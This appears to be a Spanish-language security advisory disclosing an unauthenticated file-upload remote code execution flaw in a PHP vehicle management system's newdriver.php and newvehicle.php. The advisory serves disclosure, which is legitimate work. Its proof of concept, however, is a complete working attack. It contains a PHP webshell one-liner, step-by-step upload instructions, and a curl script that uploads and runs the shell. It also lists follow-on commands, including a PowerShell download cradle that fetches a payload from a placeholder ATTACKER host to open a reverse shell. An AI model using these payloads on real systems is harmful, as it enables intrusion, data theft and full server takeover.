
| Campo | Detalles |
|---|---|
| Producto | Sistema de Gestión de Vehículos en PHP |
| Proveedor | code-projects.org |
| Versión | V1.0 |
| Tipo de Vulnerabilidad | Carga de archivos sin restricciones que conduce a Ejecución Remota de Código (CWE-434) |
| Archivos Afectados | newdriver.php, newvehicle.php |
| Parámetro | photo (POST, multipart/form-data) |
| Autenticación Requerida | No (No autenticada) |
| Puntuación CVSS | 10.0 Crítica |
| Vector de Ataque | Remoto / Red |
| Privilegios Requeridos | Ninguno |
| Interacción del Usuario | Ninguna |
El Sistema de Gestión de Vehículos en PHP V1.0 de code-projects.org es vulnerable a una Ejecución Remota de Código no autenticada mediante la carga de archivos sin restricciones en newdriver.php (e idénticamente en newvehicle.php).
La aplicación expone un formulario de registro "Nuevo Conductor" solo para administradores en newdriver.php, que incluye un campo de carga de foto. Sin embargo, el endpoint no realiza ninguna validación de sesión — cualquier atacante no autenticado puede acceder directamente sin ser redirigido al inicio de sesión. Además, el campo de carga de foto acepta cualquier tipo de archivo, incluidos archivos PHP, sin filtrado de extensiones, validación de tipo MIME ni inspección de contenido.
Un atacante puede:
newdriver.php sin ninguna sesión ni credenciales/picture/Esto resulta en una Ejecución Remota de Código completa con los privilegios del proceso del servidor web.
Unauthenticated HTTP Request
↓
newdriver.php (no session check)
↓
photo field accepts .php file (no file type validation)
↓
Shell saved to /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — arbitrary OS command execution
Abra un navegador nuevo sin sesión (ventana de incógnito/privada). Navegue directamente al endpoint:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
El formulario de Nuevo Conductor se carga correctamente sin comprobación de autenticación ni redirección al inicio de sesión.
Cree un webshell simple de ejecución de comandos en PHP:
<?php system($_GET['cmd']); ?>
Guárdelo como shell.php (o cualquier nombre de archivo .php).
Rellene los campos del formulario del conductor con cualquier valor y seleccione el webshell PHP como carga de foto:
Driver Name: test
Mobile: 1234567890
Driver Joining Date: 2026-05-19
National ID: test
License No: test
License End Date: 2026-05-30
Driver Address: test
Photo: shell.php ← PHP webshell uploaded here
Haga clic en Submit Query.
La aplicación responde con "Registration Completed!" — lo que confirma que el shell PHP fue aceptado y guardado sin ninguna validación.
Navegue hasta el shell subido en el directorio /picture/ y pase comandos del sistema operativo mediante el parámetro cmd:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
El servidor ejecuta el comando y devuelve la salida:
desktop-g1i9np3\dell
# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
La misma vulnerabilidad existe en newvehicle.php. Un atacante no autenticado puede acceder al formulario de Agregar Nuevo Vehículo, subir un webshell PHP mediante el campo de foto del vehículo y lograr RCE con el mismo método.
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
Ambos endpoints comparten la misma causa raíz: ninguna validación de sesión y ninguna restricción de carga de archivos.
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php como newvehicle.php son vulnerables| Archivo | Campo de Carga | Ruta de Almacenamiento del Shell |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
Investigador de Seguridad Independiente